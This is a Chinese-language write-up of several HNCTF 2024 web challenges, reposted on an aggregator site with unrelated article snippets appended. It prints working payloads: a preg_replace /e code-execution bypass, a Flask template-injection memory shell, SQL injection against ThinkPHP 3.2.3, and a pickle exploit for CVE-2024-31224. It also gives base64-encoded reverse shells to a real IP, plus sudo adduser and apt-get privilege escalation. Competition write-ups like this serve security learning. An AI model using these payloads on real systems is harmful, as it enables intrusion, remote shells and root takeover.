【Web】HNCTF 2024 题解(部分)

目录

Please_RCE_Me

ezFlask

GoJava 

ez_tp

GPTS


Please_RCE_Me

<?php
if($_GET['moran'] === 'flag'){highlight_file(__FILE__);if(isset($_POST['task'])&&isset($_POST['flag'])){$str1 = $_POST['task'];$str2 = $_POST['flag'];if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){die('hacker!');}else{preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);}}
}else{echo "moran want a flag.</br>(?moran=flag)";
}

preg_replace() /e代码执行漏洞-CSDN博客

正则开启了大小写匹配,可以大小写绕过

黑名单ban得有点多,建议直接转接绕过

task=$_POST[1]($_POST[2]);&flag=Please_give_me_flag&1=system&2=tac /f*

 或者读文件

在线16进制字符串转换工具 - 在线工具网

task=var_dump(file_get_contents(hex2bin("2f666c6167")));&flag=Please_give_me_flag

ezFlask

无回显,想着打flask内存马

新版FLASK下python内存马的研究

flask_memory_shell/README.md at main · iceyhexman/flask_memory_shell · GitHub

一种payload:

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

/shell?cmd=grep+-rl+"flag{"+/etc

/shell?cmd=cat+/etc/jaygalf

另一种payload:

cmd=__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /etc/jaygalf ').read())

 

GoJava 

访问./robots.txt 

 ./main.go是403访问./main-old.zip下载附件

可以看到对文件名做了一定的waf

题目是对java文件进行编译操作,就是系统命令执行javac拼接文件名

1.java;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi | base64 -d | bash;1.java

不难想到可以在文件名处进行可以恶意命令拼接

成功反弹shell

 

查看备忘录文件,用该密码成功su root 

读flag

ez_tp

下载附件,看到tp版本是3.2.3

结合源码,能看出考的是sql注入 

thinkphp3.2.3 SQL注入漏洞复现_thinkphp3.2.3漏洞利用-CSDN博客 

payload:

/index.php/home/index/h_n?name[0]=exp&name[1]==-1 union select 1,flag from flag

 

GPTS

这种gpt题,一般都是搜的新trick

CVE-2024-31224 RCE 分析 

按照博客里去复现就可,把弹计算器换成反弹shell

import base64opcode = b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI0LjIyMi4xMzYuMzMiLDEzMzcpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oImJhc2giKSc=}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)

成功反弹shell 

 查找由用户 ctfgame 拥有并且对其可读的所有文件

find / -type f -user ctfgame -readable 2>/dev/null

 

查看/var/mail/ctfgame,读邮件中的敏感信息

切换到ctfer登录

没权限看/etc/sudoers ,用sudo -l

sudo -l  

 

这段回显表明用户 ctfer 在主机 hnctf-01hxryr832qjjc3astkt4rw4dw 上具有以 root 用户身份执行 /usr/sbin/adduser 命令的特权,而且无需输入密码,但被限制不能以 sudo 用户或 admin 用户身份执行该命令。

/usr/sbin/adduser 是一个方便的命令行工具,用于在 Linux 系统中管理用户账户。 

 添加一个root组用户

sudo adduser test -gid=0

 

以root组用户test登录

 

cat /etc/sudoers

 

看到kobe,可以apt-get提权

现在我们要以kobe身份登录

先切回ctfer,sudo adduser kobe创建一个kobe用户

sudo adduser kobe

再以kobe身份登录,apt-get提权

SUDO授权与提权 | 云安全攻防入门

sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"

cat /root/f*/f*

 拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1423909.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

7.学习STL中的string类:版本、组件、构造、操作及应用

目录 1. 什么是STL 2. STL的版本 3. STL的六大组件 1. 为什么学习string类&#xff1f; 1.1 C语言中的字符串 2. 标准库中的string类 2.1 string类(了解) 2.2 string类的常用接口说明 1. string类对象的常见构造 2. string类对象的容量操作 reserve 3. string类对象…

用友GRP-U8 userInfoWeb SQL注入致RCE漏洞复现 (XVE-2024-10539)

0x01 产品简介 用友GRP-U8R10行政事业内控管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。 0x02 漏洞概述 用友GRP-U8R10行政事业内控管理软件 userInfoWeb接口处存在SQL注入漏洞,未授权的…

ue引擎游戏开发笔记(39)——npc的ai设定:追踪玩家以及瞄准

1.需求分析&#xff1a; 实现对npc的击杀和死亡反馈后&#xff0c;下一步需要赋予npc基本的ai&#xff0c;首先就是敌人要能够追踪或者说跟随玩家&#xff0c;这才能为后续npc开枪&#xff0c;对射做好准备&#xff0c;首先实现追踪玩家。 2.操作实现&#xff1a; 1.思路&…

VMware Workstation Pro 和 Fusion Pro 针对个人用户使用免费了

今早看到 VMware by Broadcom 官方博客 VMware Desktop Hypervisor Pro Apps Now Available for Personal Use - VMware Cloud Foundation (VCF) Blog 以及 Learn more about VMware Desktop Hypervisor Products Subscription Model 总结如下&#xff1a; 免费 Player 版本将…

通过C++和libcurl下载网易云音乐音频文件的5个简单步骤

概述 在网络编程中&#xff0c;使用C和libcurl库下载文件是一项常见的任务。网易云音乐作为中国领先的在线音乐服务平台之一&#xff0c;以其丰富的音乐资源、优质的音质和智能推荐系统而广受欢迎。由于其平台提供了大量的正版音乐资源&#xff0c;用户在下载音频文件时可能会…

在浏览器执行js脚本的两种方式

fetch请求get 在浏览器执行http请求,可以使用fetch函数; fetch(“url”).then(response => response.text()) .then(data => console.log(JSON.parse(data)[‘status’])) .catch(error => console.error(error)) 直接返回json数据: fetch(“url”).then(response…

Git系列:git add 被忽视的操作技巧

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

GPT4o速测:约0.5秒延迟的多模态能力

文章目录 1. 测评2. IntroReference 没有剪辑&#xff0c;约0.5秒延迟的多模态能力。 1. 测评 推理速度异常快&#xff0c;比之前快了大概两三倍&#xff0c;对产品端来说是个很好的事情&#xff0c;想用gpt4级别性能终于可以少讨论几句时延影响用户体验了模型指令遵从能力变强…

数据中心逆变电源的功率容量计算方法

随着信息技术的快速发展&#xff0c;数据中心在现代社会中的地位日益凸显&#xff0c;各种企业和机构对数据中心的依赖程度也越来越高。而电源作为数据中心的核心基础设施&#xff0c;其可靠性和高效性直接影响着数据中心的稳定运行。因此&#xff0c;如何设计一款性能优越、可…

业务上云--从Container+BuildKitd打镜像到在Kubernetes上部署LNMP

一、背景 在基于kubeasz部署kubernetes高可用集群-CSDN博客文章部署的kubernetes集群上部署LNMP 1.1、Kubernetes环境 1.2、Harbor环境 【docker基础】使用Harbor搭建私有仓库-docker-compose使用示例--第二周作业_harbor docker-compose-CSDN博客 Harbor环境升级&#xff…

二.PVE创建 Ubuntu CT

二.PVE创建 Ubuntu CT 浏览器地址栏输入访问pve系统的网址,利用web端进行管理。注意进入pve系统时默认显示的有访问地址。本步骤的web访问地址为:https://192.168.1.102:8006。 出现该页面,选择继续前往。 进入管理页面后,输入PVE系统的用户名和密码,登录该系统。 登…

邮箱API接口支持哪些服务?如何配置测试?

邮箱API接口的性能如何优化&#xff1f;如何选择和使用API接口&#xff1f; 在数字化日益深入的今天&#xff0c;邮箱API接口作为连接各种应用程序与电子邮件服务的桥梁&#xff0c;其重要性不言而喻。那么&#xff0c;究竟邮箱API接口支持哪些服务呢&#xff1f;接下来&#…

测试相关内容

文档测试 文档质量的好坏直接影响程序质量的好坏这一部分的内容会少一些&#xff0c;主要是针对历年软考中出现的知识点来进行一个讲解的操作&#xff0c;有些内容不会讲解的太过于深入的一般以上午题的形式出现的多一些&#xff0c;不太会以下午题的形式出现 软件文档的分类 …

必背!!2024年软考中级——网络工程师考前冲刺几页纸

距离软考考试的时间越来越近了&#xff0c;趁着这两周赶紧准备起来 今天给大家整理了——软考网络工程师考前冲刺几页纸&#xff0c;都是核心重点&#xff0c;有PDF版&#xff0c;可打印下来&#xff0c;每天背一点。 计算机总线分类 ①总线的分类&#xff1a;数据总线、地址总…

数据结构复习指导之图的存储及基本操作

文章目录 图的存储及基本操作 考纲内容 复习提示 1.邻接矩阵法 2.邻接表法 3.十字链表 4.邻接多重表 5.图的基本操作 图的存储及基本操作 图的存储必须要完整、准确地反映顶点集和边集的信息。根据不同图的结构和算法&#xff0c;采用不同的存储方式将对程序的效率产生…

Axure “情形”的使用

这篇笔记的主要内容是如果在Axure中使用“情形”&#xff0c;对应在我们的研发中就是“判断条件”的使用 Axure情形的使用Axure添加caseAxure的if &#xff0c;sele if 条件判断 条件判断不管是在研发代码中还是实际生活中&#xff0c;无处不在&#xff0c;只是表现形式不同罢…

GeoServer /geoserver/wms RCE漏洞复现(CVE-2022-24816)

0x01 产品简介 GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。 0x02 漏洞概述 GeoServer /geoserver/wms 接口处存在远程代码执行漏洞,未经…

网络故障快速定位的秘诀 - 基于 AnaTraf 全流量回溯分析

网络故障是每个 IT 从业者都深有体会的头疼问题。当网络出现异常时,如何快速定位故障原因,恢复网络正常运行,是考验运维能力的关键所在。借助 AnaTraf 网络流量分析仪的全流量回溯分析功能,您可以轻松应对各种复杂的网络问题,实现快速故障定位。 1. 网络故障分析的痛点 网络故…

Redission分布式锁 - 抢课系统

使用Redission分布式锁与Kafka消息队列&#xff0c;实现学生抢课系统&#xff08;高并发秒杀场景&#xff09;。 目录 一、思路1.为频繁访问的信息设置缓存&#xff08;1&#xff09;登陆&#xff08;2&#xff09;课程任务信息&#xff08;3&#xff09;用户抢课记录 2.消息队…

【Kubenetes】微服务治理:服务网格Istio安装搭建体验

文章目录 ServiceMesh介绍Istio解决方案安装Istio第一步 下载istio第二步 安装istio环境第三部 安装istio应用第四部 暴露到外部流量然后再下一步 把dashboard弄好 ServiceMesh介绍 扯淡环节 什么是服务网格?–服务间通信&#xff0c;可扩展性和灵活性服务网格的工作原理 --…